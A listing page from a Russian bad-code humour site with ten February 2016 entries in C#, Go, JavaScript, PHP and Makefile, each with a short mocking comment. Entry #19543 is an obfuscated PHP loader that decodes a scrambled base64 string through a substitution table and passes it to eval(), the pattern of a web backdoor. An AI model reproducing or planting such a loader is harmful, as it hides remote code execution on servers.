1. Куча / Говнокод #19546

    0

    1. 1
    2. 2
    3. 3
    4. 4
    Ку всем
    Посоны
    Как привязать БД для авторизации к html странице?
    Не php а html

    Написал мне Вася Пупкин, дипломированный специалист в области информационных технологий

    kegdan, 29 Февраля 2016

    Комментарии (39)
  2. C# / Говнокод #19545

    +6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    using System;
    namespace Colculator
    {
        public partial class Form1 : Form
        {
               bool BOOL = {
                     true,true,true,true,true,true,true,false};
               if(BOOL(new Random(1,8)){
                          Consosle.WriteLine("ДА");
    }

    Так делать нельзя!!!

    sliper, 28 Февраля 2016

    Комментарии (30)
  3. C# / Говнокод #19544

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    if ( text.Contains( "лет" ) || text.Contains( "год" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddYears( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "дн" ) || text.Contains( "ден" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddDays( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "месяц" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddMonths( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "час" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddHours( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "недел" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddHours( ( -Int32.Parse( match.Value ) ) * 7 );
    }
    else if ( text.Contains( "минут" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddMinutes( -Int32.Parse( match.Value ) );
    }
    return null;

    Копипаста >_< До кучи ещё и с классической copy-paste ошибкой в логике.

    HellBrick, 28 Февраля 2016

    Комментарии (0)
  4. PHP / Говнокод #19543

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    <?php
    function eextp($vl, $jnhkcx){$ucss = ''; for($i=0; $i < strlen($vl); $i++){$ucss .= isset($jnhkcx[$vl[$i]]) ? $jnhkcx[$vl[$i]] : $vl[$i];}
    $hbo="base64_decode";return $hbo($ucss);}
    $fdolmkywqn = 'sJrPTtNf2usZ1ctBvENBucqL2BvQiI4taI5oC5o0TU4ou9brV6XgWJNguctBvENBvBvQiO0oC5o0TU4ou9brV6XgWUK8uct82';
    $aosgtno = Array('1'=>'J', '0'=>'A', '3'=>'7', '2'=>'Z', '5'=>'w', '4'=>'5', '7'=>'k', '6'=>'C', '9'=>'3', '8'=>'4', 'A'=>'K', 'C'=>'O', 'B'=>'y', 'E'=>'m', 'D'=>'U', 'G'=>'i', 'F'=>'S', 'I'=>'E', 'H'=>'M', 'K'=>'F', 'J'=>'G', 'M'=>'8', 'L'=>'v', 'O'=>'D', 'N'=>'9', 'Q'=>'s', 'P'=>'u', 'S'=>'h', 'R'=>'Y', 'U'=>'W', 'T'=>'a', 'W'=>'b', 'V'=>'d', 'Y'=>'L', 'X'=>'g', 'Z'=>'o', 'a'=>'T', 'c'=>'2', 'b'=>'N', 'e'=>'6', 'd'=>'H', 'g'=>'n', 'f'=>'z', 'i'=>'I', 'h'=>'r', 'k'=>'R', 'j'=>'e', 'm'=>'1', 'l'=>'f', 'o'=>'p', 'n'=>'P', 'q'=>'x', 'p'=>'q', 's'=>'Q', 'r'=>'l', 'u'=>'X', 't'=>'V', 'w'=>'0', 'v'=>'c', 'y'=>'B', 'x'=>'t', 'z'=>'j');
    eval(eextp($fdolmkywqn, $aosgtno));?>

    ZombiePm, 27 Февраля 2016

    Комментарии (8)
  5. Куча / Говнокод #19542

    +1

    1. 1
    Верните мой WCT!

    d_fomenok, 27 Февраля 2016

    Комментарии (54)
  6. Куча / Говнокод #19541

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    // Private method of server, which dispatches active incoming connection.
    // Function receives address string and uses it as key to retrieve cached connection.
    // Fetched connection is getting read by bufio.Reader, parsed to header and data string if it's size was pointed in header.
    // Next, the parsed data handles by protocol and writes a response message.
    // The process turns in loop until whether input stream will get an EOF or an error will be occurred.
    // In the last case it will be return some error message to a client.
    // Anyway, at the end connection will be broken up.
    func (server *Server) dispatch(address string) {
    	defer server.free_chan()
    	if server.Stat.Connections[address] != nil {
    		server.Stat.Connections[address].State = "conn_new_cmd"
    	}
    	connection := server.connections[address]
    	connectionReader := bufio.NewReader(connection)
    	// let's loop the process for open connection, until it will get closed.
    	for {
    		// let's read a header first
    		if server.Stat.Connections[address] != nil {
    			server.Stat.Connections[address].State = "conn_read"
    		}
    		received_message, n, err := readRequest(connectionReader, -1)
    		if err != nil {
    			if server.Stat.Connections[address] != nil {
    				server.Stat.Connections[address].State = "conn_swallow"
    			}
    			if err == io.EOF {
    				server.Logger.Info("Input stream has got EOF, and now is being closed.")
    				server.breakConnection(connection)
    				break
    			}
    			server.Logger.Warning("Dispatching error: ", err, " Message: ", received_message)
    			if !server.makeResponse(connection, []byte("ERROR\r\n"), 5){
    				break
    			}
    		} else {
    			if server.Stat.Connections[address] != nil {
    				server.Stat.Connections[address].Cmd_hit_ts = time.Now().Unix()
    			}
    			// Here the message should be handled
    			server.Stat.Read_bytes += uint64(n)
    			parsed_request := protocol.ParseProtocolHeader(string(received_message[ : n - 2]))
    			server.Logger.Info("Header: ", *parsed_request)
    
    			if (parsed_request.Command() == "cas" || parsed_request.Command() == "gets") && server.cas_disabled ||
    			   parsed_request.Command() == "flush_all" && server.flush_disabled{
    				err_msg := parsed_request.Command() + " command is forbidden."
    				server.Logger.Warning(err_msg)
    				if server.Stat.Connections[address] != nil {
    					server.Stat.Connections[address].State = "conn_write"
    				}
    				err_msg = strings.Replace(protocol.CLIENT_ERROR_TEMP, "%s", err_msg, 1)
    				server.makeResponse(connection, []byte(err_msg), len(err_msg))
    				continue
    			}
    
    			if parsed_request.DataLen() > 0 {
    				if server.Stat.Connections[address] != nil {
    					server.Stat.Connections[address].State = "conn_nread"
    				}
    				received_message, _, err := readRequest(connectionReader, parsed_request.DataLen())
    				if err != nil {
    					server.Logger.Error("Error occurred while reading data:", err)
    					server.breakConnection(connection)
    					break
    				}
    				parsed_request.SetData(received_message[0 : ])
    			}
    			server.Logger.Info("Start handling request:", *parsed_request)
    			response_message, err := parsed_request.HandleRequest(server.storage, server.Stat)
    			server.Logger.Info("Server is sending response:\n", string(response_message[0 : len(response_message)]))
    			// if there is no flag "noreply" in the header:
    			if parsed_request.Reply() {
    				if server.Stat.Connections[address] != nil {
    					server.Stat.Connections[address].State = "conn_write"
    				}
    				server.makeResponse(connection, response_message, len(response_message))
    			}
    			if err != nil {
    				server.Logger.Error("Impossible to send response:", err)
    				server.breakConnection(connection)
    				break
    			}
    		}
    		if server.Stat.Connections[address] != nil {
    			server.Stat.Connections[address].State = "conn_waiting"
    		}
    	}
    }

    memcache на go

    alek0585, 27 Февраля 2016

    Комментарии (1)
  7. JavaScript / Говнокод #19540

    +7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    if (navigator.userAgent.indexOf("Windows NT 5.1") !== -1) {
    			this.isWinXP = true;
    			this.detectedPlatform = "Windows XP"
    		} else {
    			if (navigator.userAgent.indexOf("Windows NT 6.0") !== -1) {
    				this.isWinVista = true;
    				this.detectedPlatform = "Windows Vista"
    			} else {
    				if (navigator.userAgent.indexOf("Windows NT 6.1") !== -1) {
    					this.isWin7 = true;
    					this.detectedPlatform = "Windows 7"
    				} else {
    					if (navigator.userAgent.indexOf("Windows NT 6.2") !== -1) {
    						this.isWin8 = true;
    						this.detectedPlatform = "Windows 8"
    					} else {
    						if (navigator.userAgent.indexOf("Mac OS X 10_7") !== -1) {
    							this.isOSX_SnowLeopard = true;
    							this.detectedPlatform = "OSX 10.7"
    						} else {
    							if (navigator.userAgent.indexOf("Mac OS X 10.8") !== -1) {
    								this.isOSX_MountainLion = true;
    								this.detectedPlatform = "OSX 10.8"
    							} else {
    								if (navigator.userAgent.indexOf("Mac OS X 10_8") !== -1) {
    									this.isOSX_MountainLion = true;
    									this.detectedPlatform = "OSX 10.8"
    								} else {
    									if(navigator.userAgent.indexOf("Android") !== -1) {
    										this.isAndroid = true;
    										this.detectedPlatform = "Android"
    
    										if (navigator.userAgent.indexOf("Android 2.3") !== -1) {
    											this.isAndroid_Gingerbread = true;
    											this.detectedPlatform = "Android 2.3"
    										}
    										else if(navigator.userAgent.indexOf("Android 4.0") !== -1) {
    											this.isAndroid_IceCream = true;
    											this.detectedPlatform = "Android 4.0"
    										}
    										else if(navigator.userAgent.indexOf("Android 4.1") !== -1) {
    											this.isAndroid_JellyBean = true;
    											this.detectedPlatform = "Android 4.1"
    										}
    									}
    									else if (navigator.userAgent.indexOf("Linux") !== -1) {
    										this.isLinux = true;
    										this.detectedPlatform = "Linux"
    									} else {
    										if (navigator.userAgent.indexOf("Windows Phone 8") !== -1) {
    											this.isWinPhone8 = true;
    											this.detectedPlatform = "Windows Phone 8"
    										} else {
    											if (navigator.userAgent.match(/OS 7_[0-9_]+ like Mac OS X/i)) {
    												this.isIOS7 = true;
    												this.detectedPlatform = "iOS7"
    											} else {
    												if (navigator.userAgent.match(/OS 6_[0-9_]+ like Mac OS X/i)) {
    													this.isIOS6 = true;
    													this.detectedPlatform = "iOS6"
    												} else {
    													if (navigator.userAgent.match(/OS 5_[0-9_]+ like Mac OS X/i)) {
    														this.isIOS5 = true;
    														this.detectedPlatform = "iOS5"
    													} else {
    														if (navigator.userAgent.match(/OS 4_[0-9_]+ like Mac OS X/i)) {
    															this.isIOS4 = true;
    															this.detectedPlatform = "iOS4"
    														}
    													}
    												}
    											}
    										}
    									}
    								}
    							}
    						}
    					}
    				}
    			}
    		} if (navigator.userAgent.indexOf("iPhone") !== -1) {
    			this.isIPhone = true;
    			this.detectedPlatform = "iPhone " + this.detectedPlatform
    		} else {
    			if (navigator.userAgent.indexOf("iPad") !== -1) {
    				this.IsPad = true;
    				this.detectedPlatform = "iPad " + this.detectedPlatform
    			} else {
    				if (navigator.userAgent.indexOf("iPod") !== -1) {
    					this.IsPod = true;
    					this.detectedPlatform = "iPod " + this.detectedPlatform
    				}
    			}
    		} if (navigator.userAgent.indexOf("MSIE 10") !== -1) {
    			this.isIE10 = true;
    			this.detectedBrowser = "Internet Explorer 10"

    Встречаем skype contact buttons от Microsoft
    http://www.skype.com/en/create-contactme-buttons/

    skad0, 26 Февраля 2016

    Комментарии (4)
  8. PHP / Говнокод #19538

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    <?php
    	$urlcontent=file_get_contents("http://services.swpc.noaa.gov/text/3-day-solar-geomag-predictions.txt");
    	$smm[1]=0;
    	$smm[2]=0;
    	$smm[3]=0;
    	$smm[4]=0;
    	$smm[5]=0;
    	$smm[6]=0;
    	for ($j=0; $j<24; $j=($j+3)){
    		$rgs = "~High\/".swt($j)."UT\s{1,}(\d{1,2})\s{1,}(\d{1,2})\s{1,}(\d{1,2})\n~";
    			preg_match($rgs,$urlcontent,$ball);
    		$smm[1]=$smm[1]+$ball[1];
    		$smm[2]=$smm[2]+$ball[2];
    		$smm[3]=$smm[3]+$ball[3];
    		if ($smm[4]<$ball[1])  $smm[4]=$ball[1];
    		if ($smm[5]<$ball[2])  $smm[5]=$ball[2];
    		if ($smm[6]<$ball[3])  $smm[6]=$ball[3];
    	}
    	$smm[1]=$smm[1]/8;
    	$smm[2]=$smm[2]/8;
    	$smm[3]=$smm[3]/8;
    
    	$rgs = "~Mid/Minor_Storm\s{1,}(\d{1,2})\s{1,}(\d{1,2})\s{1,}(\d{1,2})\n~";
    		preg_match($rgs,$urlcontent,$ball1);
    	$rgs = "~High/Minor_Storm\s{1,}(\d{1,2})\s{1,}(\d{1,2})\s{1,}(\d{1,2})\n~"; 
    		preg_match($rgs,$urlcontent,$ball2);
    
    	$result = '<table BORDER=1>
    	<tbody>
    	<tr>
    	<td>February 25 </td>
    	<td>February 26 </td>
    	<td>February 27 </td>
    	</tr>
    	<tr>
    	<td>'.$smm[4].'<br> Max Kp </td> 
    	<td>'.$smm[5].'<br> Max Kp </td> 
    	<td>'.$smm[6].'<br> Max Kp </td>  
    	</tr>
    	<tr>
    	<td>
    	Prob-M '.$ball1[1].'%<br>
    	Prob-H '.$ball2[1].'%
    	</td>
    	<td>
    	Prob-M '.$ball1[2].'%<br>
    	Prob-H '.$ball2[2].'%
    	</td>
    	<td>
    	Prob-M '.$ball1[3].'%<br>
    	Prob-H '.$ball2[3].'%
    	</td>
    	</tr>
    	</tbody>
    	</tabbe>';
    	echo $result;
    	
    	//$resp = json_encode($result);
    	//echo $resp;
    
    // ---functions ---------	
    ...

    наговнокодил лично чтоб в табличном виде представлять данные и текстового файла

    redx, 26 Февраля 2016

    Комментарии (2)
  9. PHP / Говнокод #19537

    +1

    1. 1
    function crooked_nail_create_item(){ ...

    Зато честно!

    deep, 26 Февраля 2016

    Комментарии (0)
  10. Куча / Говнокод #19535

    0

    1. 1
    2. 2
    @ ln -s ${PWD}/${OUTPUT} ../${OUTPUT}; \
    make ${OUTPUT};

    пытался давеча мэйкфайлы окультуривать. в частности штапеля ln'ов (для девелопмента/отладки искусственное окружение создают) на что то более внятное поменять. только сегодня с утра наконец "увидел" почему мои изменения нифига не работали.

    Dummy00001, 26 Февраля 2016

    Комментарии (0)